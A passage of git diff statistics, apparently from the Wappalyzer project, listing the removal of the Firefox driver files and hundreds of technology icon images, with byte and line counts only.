.../firefox/data/images/icons/Zepto.png | Bin 2358 -> 0 bytes .../firefox/data/images/icons/Zeuscart.png | Bin 1051 -> 0 bytes .../firefox/data/images/icons/Zinnia.png | Bin 848 -> 0 bytes .../firefox/data/images/icons/Zope.png | Bin 574 -> 0 bytes .../firefox/data/images/icons/amCharts.png | Bin 117 -> 0 bytes .../firefox/data/images/icons/basket.js.png | Bin 749 -> 0 bytes .../firefox/data/images/icons/blip.tv.png | Bin 218 -> 0 bytes .../firefox/data/images/icons/cPanel.png | Bin 539 -> 0 bytes .../firefox/data/images/icons/cgit.png | Bin 115 -> 0 bytes .../firefox/data/images/icons/comScore.png | Bin 1429 -> 0 bytes .../data/images/icons/dashCommerce.png | Bin 1611 -> 0 bytes .../firefox/data/images/icons/debut.png | Bin 210 -> 0 bytes .../firefox/data/images/icons/default.png | Bin 1379 -> 0 bytes .../firefox/data/images/icons/dwhttpd.png | Bin 1379 -> 0 bytes .../firefox/data/images/icons/e107.png | Bin 574 -> 0 bytes .../data/images/icons/eDevice SmartStack.png | Bin 569 -> 0 bytes .../firefox/data/images/icons/eHTTP.png | Bin 1379 -> 0 bytes .../firefox/data/images/icons/eSyndiCat.png | Bin 724 -> 0 bytes .../firefox/data/images/icons/eZ Publish.png | Bin 134 -> 0 bytes .../firefox/data/images/icons/flask.png | Bin 2027 -> 0 bytes .../drivers/firefox/data/images/icons/git.png | Bin 602 -> 0 bytes .../firefox/data/images/icons/gitweb.png | Bin 602 -> 0 bytes .../firefox/data/images/icons/gunicorn.png | Bin 1651 -> 0 bytes .../firefox/data/images/icons/iCongo.png | Bin 906 -> 0 bytes .../firefox/data/images/icons/iWeb.png | Bin 219 -> 0 bytes .../firefox/data/images/icons/io4-CMS.png | Bin 445 -> 0 bytes .../firefox/data/images/icons/jQTouch.png | Bin 884 -> 0 bytes .../data/images/icons/jQuery Mobile.png | Bin 1418 -> 0 bytes .../data/images/icons/jQuery Sparklines.png | Bin 1379 -> 0 bytes .../firefox/data/images/icons/jQuery UI.png | Bin 727 -> 0 bytes .../firefox/data/images/icons/jQuery.png | Bin 1418 -> 0 bytes .../firefox/data/images/icons/jqPlot.png | Bin 592 -> 0 bytes .../data/images/icons/libwww-perl-daemon.png | Bin 2241 -> 0 bytes .../firefox/data/images/icons/lighttpd.png | Bin 949 -> 0 bytes .../firefox/data/images/icons/math.js.png | Bin 346 -> 0 bytes .../firefox/data/images/icons/mini_httpd.png | Bin 124 -> 0 bytes .../data/images/icons/mod_auth_pam.png | Bin 1331 -> 0 bytes .../firefox/data/images/icons/mod_fastcgi.png | Bin 1331 -> 0 bytes .../firefox/data/images/icons/mod_jk.png | Bin 1331 -> 0 bytes .../firefox/data/images/icons/mod_perl.png | Bin 372 -> 0 bytes .../firefox/data/images/icons/mod_python.png | Bin 607 -> 0 bytes .../firefox/data/images/icons/mod_rack.png | Bin 1922 -> 0 bytes .../firefox/data/images/icons/mod_rails.png | Bin 1922 -> 0 bytes .../firefox/data/images/icons/mod_ssl.png | Bin 488 -> 0 bytes .../firefox/data/images/icons/mod_wsgi.png | Bin 199 -> 0 bytes .../firefox/data/images/icons/node.js.png | Bin 1044 -> 0 bytes .../firefox/data/images/icons/nopCommerce.png | Bin 736 -> 0 bytes .../firefox/data/images/icons/openEngine.png | Bin 273 -> 0 bytes .../firefox/data/images/icons/osCSS.png | Bin 750 -> 0 bytes .../firefox/data/images/icons/osCommerce.png | Bin 1647 -> 0 bytes .../firefox/data/images/icons/ownCloud.png | Bin 799 -> 0 bytes .../firefox/data/images/icons/papaya CMS.png | Bin 391 -> 0 bytes .../firefox/data/images/icons/phpAlbum.png | Bin 443 -> 0 bytes .../firefox/data/images/icons/phpBB.png | Bin 1240 -> 0 bytes .../firefox/data/images/icons/phpCMS.png | Bin 425 -> 0 bytes .../data/images/icons/phpDocumentor.png | Bin 367 -> 0 bytes .../firefox/data/images/icons/phpMyAdmin.png | Bin 468 -> 0 bytes .../firefox/data/images/icons/phpPgAdmin.png | Bin 237 -> 0 bytes .../data/images/icons/phpSQLiteCMS.png | Bin 359 -> 0 bytes .../firefox/data/images/icons/phpwind.png | Bin 467 -> 0 bytes .../firefox/data/images/icons/prettyPhoto.png | Bin 139 -> 0 bytes .../firefox/data/images/icons/punBB.png | Bin 295 -> 0 bytes .../firefox/data/images/icons/reCAPTCHA.png | Bin 607 -> 0 bytes .../firefox/data/images/icons/sIFR.png | Bin 111 -> 0 bytes .../firefox/data/images/icons/sNews.png | Bin 270 -> 0 bytes .../data/images/icons/script.aculo.us.png | Bin 542 -> 0 bytes .../firefox/data/images/icons/spin.js.png | Bin 1295 -> 0 bytes .../data/images/icons/swift.engine.png | Bin 130 -> 0 bytes .../firefox/data/images/icons/three.js.png | Bin 275 -> 0 bytes .../firefox/data/images/icons/thttpd.png | Bin 124 -> 0 bytes .../firefox/data/images/icons/total.js.png | Bin 176 -> 0 bytes .../firefox/data/images/icons/uCore.png | Bin 779 -> 0 bytes .../firefox/data/images/icons/vBulletin.png | Bin 1808 -> 0 bytes .../firefox/data/images/icons/viennaCMS.png | Bin 1379 -> 0 bytes .../firefox/data/images/icons/webEdition.png | Bin 418 -> 0 bytes .../firefox/data/images/icons/xCharts.png | Bin 1379 -> 0 bytes .../firefox/data/images/icons/xtCommerce.png | Bin 1092 -> 0 bytes .../drivers/firefox/data/images/icons/xui.png | Bin 600 -> 0 bytes .../firefox/data/images/icons/yepnope.js.png | Bin 1330 -> 0 bytes Wappalyzer/drivers/firefox/data/js/panel.js | 92 - Wappalyzer/drivers/firefox/data/js/tab.js | 33 - Wappalyzer/drivers/firefox/data/panel.html | 16 - Wappalyzer/drivers/firefox/doc/main.md | 0 Wappalyzer/drivers/firefox/images/icon128.png | Bin 7396 -> 0 bytes .../drivers/firefox/images/icon128_hot.png | Bin 9751 -> 0 bytes Wappalyzer/drivers/firefox/images/icon16.png | Bin 613 -> 0 bytes .../drivers/firefox/images/icon16_hot.png | Bin 634 -> 0 bytes Wappalyzer/drivers/firefox/images/icon48.png | Bin 3028 -> 0 bytes .../drivers/firefox/images/icon48_hot.png | Bin 2916 -> 0 bytes Wappalyzer/drivers/firefox/images/icon64.png | Bin 4435 -> 0 bytes .../drivers/firefox/images/icon64_hot.png | Bin 4705 -> 0 bytes Wappalyzer/drivers/firefox/lib/driver.js | 484 -- Wappalyzer/drivers/firefox/lib/wappalyzer.js | 531 --- .../drivers/firefox/locale/de-DE.properties | 66 - .../drivers/firefox/locale/en-GB.properties | 66 - .../drivers/firefox/locale/en-US.properties | 66 - .../drivers/firefox/locale/es-ES.properties | 66 - .../drivers/firefox/locale/fr-FR.properties | 66 - .../drivers/firefox/locale/nl-NL.properties | 66 - .../drivers/firefox/locale/ro-RO.properties | 63 - Wappalyzer/drivers/firefox/package.json | 29 - Wappalyzer/drivers/html/images/icon.png | Bin 9751 -> 0 bytes .../drivers/html/images/icons/1C-Bitrix.png | Bin 369 -> 0 bytes .../drivers/html/images/icons/1und1.png | Bin 288 -> 0 bytes .../drivers/html/images/icons/2z Project.png | Bin 529 -> 0 bytes Wappalyzer/drivers/html/images/icons/3DM.png | Bin 631 -> 0 bytes .../drivers/html/images/icons/3dCart.png | Bin 339 -> 0 bytes .../drivers/html/images/icons/3ware.png | Bin 631 -> 0 bytes .../drivers/html/images/icons/AMPcms.png | Bin 779 -> 0 bytes .../drivers/html/images/icons/AOLserver.png | Bin 473 -> 0 bytes .../images/icons/AT Internet Analyzer.png | Bin 796 -> 0 bytes .../html/images/icons/AT Internet XiTi.png | Bin 796 -> 0 bytes Wappalyzer/drivers/html/images/icons/ATEN.png | Bin 644 -> 0 bytes .../html/images/icons/ATG Web Commerce.png | Bin 873 -> 0 bytes .../drivers/html/images/icons/AWStats.png | Bin 499 -> 0 bytes .../html/images/icons/Accessible Portal.png | Bin 682 -> 0 bytes .../drivers/html/images/icons/AdInfinity.png | Bin 1363 -> 0 bytes .../drivers/html/images/icons/AdRiver.png | Bin 299 -> 0 bytes .../drivers/html/images/icons/AdRoll.png | Bin 633 -> 0 bytes .../drivers/html/images/icons/Adcash.png | Bin 621 -> 0 bytes .../drivers/html/images/icons/AddShoppers.png | Bin 1866 -> 0 bytes .../drivers/html/images/icons/AddThis.png | Bin 663 -> 0 bytes .../drivers/html/images/icons/Adobe CQ5.png | Bin 735 -> 0 bytes .../html/images/icons/Adobe ColdFusion.png | Bin 310 -> 0 bytes .../html/images/icons/Adobe GoLive.png | Bin 374 -> 0 bytes .../drivers/html/images/icons/Adobe Muse.png | Bin 2086 -> 0 bytes .../html/images/icons/Adobe RoboHelp.png | Bin 1774 -> 0 bytes .../html/images/icons/Advanced Web Stats.png | Bin 844 -> 0 bytes .../html/images/icons/Advert Stream.png | Bin 1397 -> 0 bytes .../drivers/html/images/icons/Adzerk.png | Bin 1050 -> 0 bytes .../drivers/html/images/icons/Airee.png | Bin 485 -> 0 bytes .../drivers/html/images/icons/Akamai.png | Bin 845 -> 0 bytes .../images/icons/Algolia Realtime Search.png | Bin 1261 -> 0 bytes .../html/images/icons/Allegro RomPager.png | Bin 205 -> 0 bytes .../drivers/html/images/icons/Alloy.png | Bin 267 -> 0 bytes .../drivers/html/images/icons/AlloyUI.png | Bin 607 -> 0 bytes .../drivers/html/images/icons/Amaya.png | Bin 454 -> 0 bytes .../drivers/html/images/icons/Ametys.png | Bin 567 -> 0 bytes .../drivers/html/images/icons/Amiro.CMS.png | Bin 347 -> 0 bytes .../drivers/html/images/icons/Anchor CMS.png | Bin 342 -> 0 bytes .../drivers/html/images/icons/AngularJS.png | Bin 1618 -> 0 bytes .../html/images/icons/Apache HBase.png | Bin 185 -> 0 bytes .../html/images/icons/Apache Hadoop.png | Bin 1505 -> 0 bytes .../html/images/icons/Apache JSPWiki.png | Bin 566 -> 0 bytes .../html/images/icons/Apache Tomcat.png | Bin 1569 -> 0 bytes .../images/icons/Apache Traffic Server.png | Bin 747 -> 0 bytes .../html/images/icons/Apache Wicket.png | Bin 1684 -> 0 bytes .../drivers/html/images/icons/Apache.png | Bin 1331 -> 0 bytes .../drivers/html/images/icons/AppNexus.png | Bin 1691 -> 0 bytes .../drivers/html/images/icons/Arc Forum.png | Bin 384 -> 0 bytes .../images/icons/Artifactory Web Server.png | Bin 317 -> 0 bytes .../drivers/html/images/icons/Artifactory.png | Bin 317 -> 0 bytes .../drivers/html/images/icons/AsciiDoc.png | Bin 131 -> 0 bytes .../html/images/icons/Atlassian Bitbucket.png | Bin 692 -> 0 bytes .../images/icons/Atlassian Confluence.png | Bin 1137 -> 0 bytes .../html/images/icons/Atlassian FishEye.png | Bin 766 -> 0 bytes .../icons/Atlassian Jira Issue Collector.png | Bin 809 -> 0 bytes .../html/images/icons/Atlassian Jira.png | Bin 809 -> 0 bytes .../drivers/html/images/icons/Avangate.png | Bin 858 -> 0 bytes .../drivers/html/images/icons/BIGACE.png | Bin 617 -> 0 bytes .../drivers/html/images/icons/Backbone.js.png | Bin 1525 -> 0 bytes .../drivers/html/images/icons/Banshee.png | Bin 254 -> 0 bytes .../drivers/html/images/icons/BaseHTTP.png | Bin 755 -> 0 bytes .../drivers/html/images/icons/BigDump.png | Bin 1379 -> 0 bytes .../drivers/html/images/icons/Bigcommerce.png | Bin 574 -> 0 bytes .../drivers/html/images/icons/Bigware.png | Bin 750 -> 0 bytes .../drivers/html/images/icons/BittAds.png | Bin 184 -> 0 bytes .../drivers/html/images/icons/Blip.tv.png | Bin 218 -> 0 bytes .../drivers/html/images/icons/Blogger.png | Bin 261 -> 0 bytes .../drivers/html/images/icons/BlueKai.png | Bin 1385 -> 0 bytes .../drivers/html/images/icons/Bluefish.png | Bin 1871 -> 0 bytes Wappalyzer/drivers/html/images/icons/Boa.png | Bin 1379 -> 0 bytes Wappalyzer/drivers/html/images/icons/Bolt.png | Bin 1544 -> 0 bytes .../drivers/html/images/icons/Bonfire.png | Bin 1994 -> 0 bytes .../drivers/html/images/icons/Brother.png | Bin 210 -> 0 bytes .../drivers/html/images/icons/BrowserCMS.png | Bin 509 -> 0 bytes .../drivers/html/images/icons/BugSense.png | Bin 336 -> 0 bytes .../drivers/html/images/icons/BugSnag.png | Bin 5226 -> 0 bytes .../drivers/html/images/icons/Bugzilla.png | Bin 641 -> 0 bytes .../html/images/icons/Burning Board.png | Bin 655 -> 0 bytes .../html/images/icons/Business Catalyst.png | Bin 362 -> 0 bytes .../drivers/html/images/icons/BuySellAds.png | Bin 370 -> 0 bytes Wappalyzer/drivers/html/images/icons/C++.png | Bin 743 -> 0 bytes Wappalyzer/drivers/html/images/icons/CFML.png | Bin 310 -> 0 bytes .../drivers/html/images/icons/CKEditor.png | Bin 712 -> 0 bytes .../html/images/icons/CMS Made Simple.png | Bin 1168 -> 0 bytes .../drivers/html/images/icons/CMSimple.png | Bin 1379 -> 0 bytes .../drivers/html/images/icons/CO2Stats.png | Bin 642 -> 0 bytes .../html/images/icons/CPG Dragonfly.png | Bin 407 -> 0 bytes .../drivers/html/images/icons/CS Cart.png | Bin 315 -> 0 bytes .../drivers/html/images/icons/CacheFly.png | Bin 348 -> 0 bytes .../drivers/html/images/icons/CakePHP.png | Bin 706 -> 0 bytes .../html/images/icons/Canon HTTP Server.png | Bin 678 -> 0 bytes .../drivers/html/images/icons/Canon.png | Bin 678 -> 0 bytes .../drivers/html/images/icons/Carbon Ads.png | Bin 595 -> 0 bytes .../drivers/html/images/icons/Cargo.png | Bin 147 -> 0 bytes .../drivers/html/images/icons/Catwalk.png | Bin 678 -> 0 bytes .../drivers/html/images/icons/CentOS.png | Bin 670 -> 0 bytes .../drivers/html/images/icons/CenteHTTPd.png | Bin 736 -> 0 bytes .../drivers/html/images/icons/Chameleon.png | Bin 773 -> 0 bytes .../drivers/html/images/icons/Chamilo.png | Bin 1231 -> 0 bytes .../drivers/html/images/icons/Chartbeat.png | Bin 981 -> 0 bytes .../drivers/html/images/icons/Cherokee.png | Bin 635 -> 0 bytes .../drivers/html/images/icons/CherryPy.png | Bin 301 -> 0 bytes .../drivers/html/images/icons/Chitika.png | Bin 1169 -> 0 bytes .../drivers/html/images/icons/ClickHeat.png | Bin 434 -> 0 bytes .../drivers/html/images/icons/ClickTale.png | Bin 1155 -> 0 bytes .../drivers/html/images/icons/Clicky.png | Bin 1869 -> 0 bytes .../drivers/html/images/icons/CloudFlare.png | Bin 1640 -> 0 bytes .../drivers/html/images/icons/Cloudera.png | Bin 500 -> 0 bytes .../drivers/html/images/icons/CodeIgniter.png | Bin 1037 -> 0 bytes .../drivers/html/images/icons/CodeMirror.png | Bin 179 -> 0 bytes .../html/images/icons/Commerce Server.png | Bin 351 -> 0 bytes .../html/images/icons/CompaqHTTPServer.png | Bin 589 -> 0 bytes .../drivers/html/images/icons/Concrete5.png | Bin 1851 -> 0 bytes .../drivers/html/images/icons/Connect.png | Bin 201 -> 0 bytes .../drivers/html/images/icons/Contao.png | Bin 301 -> 0 bytes .../drivers/html/images/icons/Contenido.png | Bin 205 -> 0 bytes .../drivers/html/images/icons/Contens.png | Bin 101 -> 0 bytes .../drivers/html/images/icons/ContentBox.png | Bin 624 -> 0 bytes .../html/images/icons/ConversionLab.png | Bin 557 -> 0 bytes .../drivers/html/images/icons/Coppermine.png | Bin 220 -> 0 bytes .../drivers/html/images/icons/Cosmoshop.png | Bin 236 -> 0 bytes .../drivers/html/images/icons/Cotonti.png | Bin 520 -> 0 bytes .../drivers/html/images/icons/CouchDB.png | Bin 393 -> 0 bytes .../drivers/html/images/icons/CppCMS.png | Bin 2864 -> 0 bytes .../drivers/html/images/icons/Craft CMS.png | Bin 681 -> 0 bytes .../drivers/html/images/icons/Crazy Egg.png | Bin 303 -> 0 bytes .../drivers/html/images/icons/Criteo.png | Bin 343 -> 0 bytes .../drivers/html/images/icons/Cross Pixel.png | Bin 160 -> 0 bytes .../drivers/html/images/icons/CubeCart.png | Bin 734 -> 0 bytes .../drivers/html/images/icons/Cufon.png | Bin 2528 -> 0 bytes Wappalyzer/drivers/html/images/icons/D3.png | Bin 1328 -> 0 bytes Wappalyzer/drivers/html/images/icons/DAV.png | Bin 1379 -> 0 bytes .../drivers/html/images/icons/DHTMLX.png | Bin 127 -> 0 bytes Wappalyzer/drivers/html/images/icons/DTG.png | Bin 1299 -> 0 bytes .../drivers/html/images/icons/Dancer.png | Bin 794 -> 0 bytes .../drivers/html/images/icons/Danneo CMS.png | Bin 231 -> 0 bytes Wappalyzer/drivers/html/images/icons/Dart.png | Bin 703 -> 0 bytes .../drivers/html/images/icons/Darwin.png | Bin 203 -> 0 bytes .../html/images/icons/DataLife Engine.png | Bin 420 -> 0 bytes .../html/images/icons/David Webbox.png | Bin 270 -> 0 bytes .../drivers/html/images/icons/Debian.png | Bin 721 -> 0 bytes .../drivers/html/images/icons/Decorum.png | Bin 1379 -> 0 bytes .../drivers/html/images/icons/DedeCMS.png | Bin 834 -> 0 bytes Wappalyzer/drivers/html/images/icons/Dell.png | Bin 453 -> 0 bytes .../drivers/html/images/icons/Demandware.png | Bin 154 -> 0 bytes .../drivers/html/images/icons/Deployd.png | Bin 765 -> 0 bytes .../drivers/html/images/icons/DirectAdmin.png | Bin 389 -> 0 bytes .../drivers/html/images/icons/Discourse.png | Bin 1916 -> 0 bytes .../drivers/html/images/icons/Disqus.png | Bin 320 -> 0 bytes .../drivers/html/images/icons/Django CMS.png | Bin 835 -> 0 bytes .../drivers/html/images/icons/Django.png | Bin 529 -> 0 bytes Wappalyzer/drivers/html/images/icons/Dojo.png | Bin 247 -> 0 bytes .../drivers/html/images/icons/Dokeos.png | Bin 644 -> 0 bytes .../drivers/html/images/icons/DokuWiki.png | Bin 2944 -> 0 bytes .../drivers/html/images/icons/DotNetNuke.png | Bin 691 -> 0 bytes .../drivers/html/images/icons/Dotclear.png | Bin 247 -> 0 bytes .../drivers/html/images/icons/Doxygen.png | Bin 115 -> 0 bytes .../drivers/html/images/icons/DreamWeaver.png | Bin 649 -> 0 bytes .../html/images/icons/Drupal Commerce.png | Bin 830 -> 0 bytes .../drivers/html/images/icons/Drupal.png | Bin 1409 -> 0 bytes .../drivers/html/images/icons/Dynamicweb.png | Bin 507 -> 0 bytes .../drivers/html/images/icons/E-Merchant.png | Bin 314 -> 0 bytes .../drivers/html/images/icons/ELOG HTTP.png | Bin 203 -> 0 bytes Wappalyzer/drivers/html/images/icons/ELOG.png | Bin 203 -> 0 bytes .../drivers/html/images/icons/EPiServer.png | Bin 246 -> 0 bytes .../drivers/html/images/icons/EPrints.png | Bin 651 -> 0 bytes .../drivers/html/images/icons/ESERV-10.png | Bin 262 -> 0 bytes .../drivers/html/images/icons/EWS-NIC4.png | Bin 453 -> 0 bytes .../drivers/html/images/icons/Ecodoo.png | Bin 156 -> 0 bytes .../drivers/html/images/icons/EdgeCast.png | Bin 691 -> 0 bytes .../drivers/html/images/icons/Eloqua.png | Bin 873 -> 0 bytes .../html/images/icons/EmbedThis Appweb.png | Bin 354 -> 0 bytes .../html/images/icons/Embedthis-http.png | Bin 465 -> 0 bytes .../drivers/html/images/icons/Ember.js.png | Bin 1735 -> 0 bytes Wappalyzer/drivers/html/images/icons/Enyo.png | Bin 197 -> 0 bytes Wappalyzer/drivers/html/images/icons/Epom.png | Bin 728 -> 0 bytes .../drivers/html/images/icons/Erlang.png | Bin 237 -> 0 bytes .../drivers/html/images/icons/Exhibit.png | Bin 611 -> 0 bytes .../drivers/html/images/icons/Express.png | Bin 1187 -> 0 bytes .../html/images/icons/ExpressionEngine.png | Bin 314 -> 0 bytes .../drivers/html/images/icons/ExtJS.png | Bin 1376 -> 0 bytes .../drivers/html/images/icons/FAST ESP.png | Bin 752 -> 0 bytes .../icons/FAST Search for SharePoint.png | Bin 548 -> 0 bytes Wappalyzer/drivers/html/images/icons/FWP.png | Bin 295 -> 0 bytes .../drivers/html/images/icons/Fact Finder.png | Bin 92 -> 0 bytes .../html/images/icons/Fat-Free Framework.png | Bin 1494 -> 0 bytes .../drivers/html/images/icons/Fedora.png | Bin 1173 -> 0 bytes .../drivers/html/images/icons/Fireblade.png | Bin 949 -> 0 bytes .../drivers/html/images/icons/FlashCom.png | Bin 1379 -> 0 bytes .../drivers/html/images/icons/FlexCMP.png | Bin 237 -> 0 bytes .../drivers/html/images/icons/FluxBB.png | Bin 332 -> 0 bytes .../drivers/html/images/icons/Flyspray.png | Bin 350 -> 0 bytes .../html/images/icons/Font Awesome.png | Bin 738 -> 0 bytes .../drivers/html/images/icons/Fortune3.png | Bin 2787 -> 0 bytes .../drivers/html/images/icons/FreeBSD.png | Bin 2512 -> 0 bytes .../drivers/html/images/icons/FreeTextBox.png | Bin 657 -> 0 bytes .../drivers/html/images/icons/FrontPage.png | Bin 357 -> 0 bytes .../drivers/html/images/icons/Fusion Ads.png | Bin 240 -> 0 bytes .../drivers/html/images/icons/G-WAN.png | Bin 171 -> 0 bytes .../html/images/icons/GX WebManager.png | Bin 681 -> 0 bytes .../drivers/html/images/icons/Gallery.png | Bin 596 -> 0 bytes .../drivers/html/images/icons/Gambio.png | Bin 730 -> 0 bytes .../drivers/html/images/icons/Gauges.png | Bin 156 -> 0 bytes .../drivers/html/images/icons/Gentoo.png | Bin 1910 -> 0 bytes .../html/images/icons/Get Satisfaction.png | Bin 160 -> 0 bytes .../html/images/icons/GetSimple CMS.png | Bin 213 -> 0 bytes .../drivers/html/images/icons/Ghost.png | Bin 204 -> 0 bytes .../drivers/html/images/icons/GitBook.png | Bin 485 -> 0 bytes .../drivers/html/images/icons/GitLab.png | Bin 856 -> 0 bytes .../drivers/html/images/icons/GlassFish.png | Bin 302 -> 0 bytes .../drivers/html/images/icons/Glyphicons.png | Bin 251 -> 0 bytes .../drivers/html/images/icons/GoAhead.png | Bin 465 -> 0 bytes .../drivers/html/images/icons/GoStats.png | Bin 787 -> 0 bytes .../html/images/icons/Google AdSense.png | Bin 1058 -> 0 bytes .../html/images/icons/Google Analytics.png | Bin 829 -> 0 bytes .../html/images/icons/Google App Engine.png | Bin 1745 -> 0 bytes .../html/images/icons/Google Charts.png | Bin 551 -> 0 bytes .../images/icons/Google Code Prettify.png | Bin 1274 -> 0 bytes .../html/images/icons/Google Font API.png | Bin 1459 -> 0 bytes .../images/icons/Google Friend Connect.png | Bin 1274 -> 0 bytes .../drivers/html/images/icons/Google Maps.png | Bin 1954 -> 0 bytes .../html/images/icons/Google PageSpeed.png | Bin 578 -> 0 bytes .../html/images/icons/Google Sites.png | Bin 2342 -> 0 bytes .../html/images/icons/Google Tag Manager.png | Bin 737 -> 0 bytes .../html/images/icons/Google Wallet.png | Bin 1116 -> 0 bytes .../html/images/icons/Google Web Toolkit.png | Bin 1970 -> 0 bytes .../html/images/icons/Graffiti CMS.png | Bin 385 -> 0 bytes .../drivers/html/images/icons/Grandstream.png | Bin 384 -> 0 bytes .../drivers/html/images/icons/Gravatar.png | Bin 1243 -> 0 bytes .../html/images/icons/Gravity Insights.png | Bin 257 -> 0 bytes .../html/images/icons/Green Valley CMS.png | Bin 375 -> 0 bytes .../html/images/icons/HP ChaiServer.png | Bin 589 -> 0 bytes .../html/images/icons/HP Compact Server.png | Bin 589 -> 0 bytes .../drivers/html/images/icons/HP ProCurve.png | Bin 589 -> 0 bytes .../images/icons/HP System Management.png | Bin 589 -> 0 bytes .../drivers/html/images/icons/HP iLO.png | Bin 589 -> 0 bytes Wappalyzer/drivers/html/images/icons/HP.png | Bin 589 -> 0 bytes .../drivers/html/images/icons/HTTP-Server.png | Bin 1379 -> 0 bytes .../drivers/html/images/icons/Handlebars.png | Bin 1284 -> 0 bytes .../html/images/icons/Happy ICS Server.png | Bin 1379 -> 0 bytes .../drivers/html/images/icons/HeadJS.png | Bin 1285 -> 0 bytes .../drivers/html/images/icons/Hello Bar.png | Bin 323 -> 0 bytes .../drivers/html/images/icons/Hiawatha.png | Bin 493 -> 0 bytes .../drivers/html/images/icons/Highcharts.png | Bin 1091 -> 0 bytes .../drivers/html/images/icons/Highstock.png | Bin 1091 -> 0 bytes .../drivers/html/images/icons/Hippo.png | Bin 780 -> 0 bytes .../drivers/html/images/icons/Hogan.js.png | Bin 365 -> 0 bytes .../drivers/html/images/icons/Hotaru CMS.png | Bin 599 -> 0 bytes .../drivers/html/images/icons/HubSpot.png | Bin 497 -> 0 bytes .../drivers/html/images/icons/Hybris.png | Bin 906 -> 0 bytes .../html/images/icons/IBM Coremetrics.png | Bin 102 -> 0 bytes .../html/images/icons/IBM HTTP Server.png | Bin 102 -> 0 bytes .../icons/IBM Tivoli Storage Manager.png | Bin 102 -> 0 bytes .../images/icons/IBM WebSphere Commerce.png | Bin 102 -> 0 bytes .../images/icons/IBM WebSphere Portal.png | Bin 102 -> 0 bytes Wappalyzer/drivers/html/images/icons/IIS.png | Bin 494 -> 0 bytes Wappalyzer/drivers/html/images/icons/IPB.png | Bin 217 -> 0 bytes .../drivers/html/images/icons/ImpressCMS.png | Bin 408 -> 0 bytes .../html/images/icons/ImpressPages.png | Bin 254 -> 0 bytes .../drivers/html/images/icons/InProces.png | Bin 429 -> 0 bytes .../drivers/html/images/icons/Incapsula.png | Bin 1025 -> 0 bytes .../drivers/html/images/icons/Indexhibit.png | Bin 1379 -> 0 bytes .../drivers/html/images/icons/Indico.png | Bin 380 -> 0 bytes Wappalyzer/drivers/html/images/icons/Indy.png | Bin 1379 -> 0 bytes .../drivers/html/images/icons/InstantCMS.png | Bin 280 -> 0 bytes .../Intel Active Management Technology.png | Bin 604 -> 0 bytes .../html/images/icons/IntenseDebate.png | Bin 717 -> 0 bytes .../drivers/html/images/icons/Intercom.png | Bin 540 -> 0 bytes .../drivers/html/images/icons/Intershop.png | Bin 138 -> 0 bytes .../drivers/html/images/icons/Invenio.png | Bin 1756 -> 0 bytes .../drivers/html/images/icons/Ionicons.png | Bin 887 -> 0 bytes .../drivers/html/images/icons/JAlbum.png | Bin 454 -> 0 bytes .../images/icons/JBoss Application Server.png | Bin 1772 -> 0 bytes .../drivers/html/images/icons/JBoss Web.png | Bin 1194 -> 0 bytes .../drivers/html/images/icons/JC-HTTPD.png | Bin 678 -> 0 bytes .../drivers/html/images/icons/JS Charts.png | Bin 271 -> 0 bytes .../drivers/html/images/icons/JTL Shop.png | Bin 253 -> 0 bytes .../drivers/html/images/icons/Jalios.png | Bin 246 -> 0 bytes .../html/images/icons/Java Servlet.png | Bin 1496 -> 0 bytes Wappalyzer/drivers/html/images/icons/Java.png | Bin 1496 -> 0 bytes .../html/images/icons/JavaServer Faces.png | Bin 183 -> 0 bytes .../html/images/icons/JavaServer Pages.png | Bin 1496 -> 0 bytes .../icons/Javascript Infovis Toolkit.png | Bin 377 -> 0 bytes .../drivers/html/images/icons/Jekyll.png | Bin 1145 -> 0 bytes .../drivers/html/images/icons/Jenkins.png | Bin 2000 -> 0 bytes .../drivers/html/images/icons/Jetty.png | Bin 672 -> 0 bytes .../drivers/html/images/icons/Jirafe.png | Bin 444 -> 0 bytes Wappalyzer/drivers/html/images/icons/Jo.png | Bin 247 -> 0 bytes .../drivers/html/images/icons/JobberBase.png | Bin 252 -> 0 bytes .../drivers/html/images/icons/Joomla.png | Bin 929 -> 0 bytes Wappalyzer/drivers/html/images/icons/K2.png | Bin 620 -> 0 bytes .../drivers/html/images/icons/KISSmetrics.png | Bin 724 -> 0 bytes .../drivers/html/images/icons/KS_HTTP.png | Bin 678 -> 0 bytes .../drivers/html/images/icons/Kampyle.png | Bin 805 -> 0 bytes .../drivers/html/images/icons/Kendo UI.png | Bin 634 -> 0 bytes .../drivers/html/images/icons/Kentico CMS.png | Bin 714 -> 0 bytes .../drivers/html/images/icons/KineticJS.png | Bin 1176 -> 0 bytes .../drivers/html/images/icons/Knockout.js.png | Bin 972 -> 0 bytes Wappalyzer/drivers/html/images/icons/Koa.png | Bin 888 -> 0 bytes .../html/images/icons/Koala Framework.png | Bin 2587 -> 0 bytes .../drivers/html/images/icons/Koego.png | Bin 140 -> 0 bytes .../drivers/html/images/icons/Kohana.png | Bin 597 -> 0 bytes .../drivers/html/images/icons/Kolibri CMS.png | Bin 1379 -> 0 bytes .../drivers/html/images/icons/Komodo CMS.png | Bin 214 -> 0 bytes .../drivers/html/images/icons/Koobi.png | Bin 475 -> 0 bytes .../drivers/html/images/icons/Kooboo CMS.png | Bin 1659 -> 0 bytes .../drivers/html/images/icons/LEPTON.png | Bin 393 -> 0 bytes .../drivers/html/images/icons/LabVIEW.png | Bin 180 -> 0 bytes .../drivers/html/images/icons/Laravel.png | Bin 318 -> 0 bytes .../drivers/html/images/icons/Leaflet.png | Bin 424 -> 0 bytes Wappalyzer/drivers/html/images/icons/Less.png | Bin 1337 -> 0 bytes .../drivers/html/images/icons/Liferay.png | Bin 518 -> 0 bytes Wappalyzer/drivers/html/images/icons/Lift.png | Bin 734 -> 0 bytes .../html/images/icons/LightMon Engine.png | Bin 684 -> 0 bytes .../drivers/html/images/icons/Lightbox.png | Bin 158 -> 0 bytes .../drivers/html/images/icons/LimeSurvey.png | Bin 633 -> 0 bytes .../drivers/html/images/icons/LinkSmart.png | Bin 900 -> 0 bytes .../drivers/html/images/icons/LiteSpeed.png | Bin 194 -> 0 bytes .../drivers/html/images/icons/LiveJournal.png | Bin 1853 -> 0 bytes .../html/images/icons/LiveStreet CMS.png | Bin 743 -> 0 bytes .../drivers/html/images/icons/Livefyre.png | Bin 653 -> 0 bytes .../drivers/html/images/icons/Lo-dash.png | Bin 1379 -> 0 bytes .../html/images/icons/Lockerz Share.png | Bin 249 -> 0 bytes .../drivers/html/images/icons/Locomotive.png | Bin 680 -> 0 bytes .../drivers/html/images/icons/Lodash.png | Bin 211 -> 0 bytes .../images/icons/Logitech Media Server.png | Bin 240 -> 0 bytes .../html/images/icons/Lotus Domino.png | 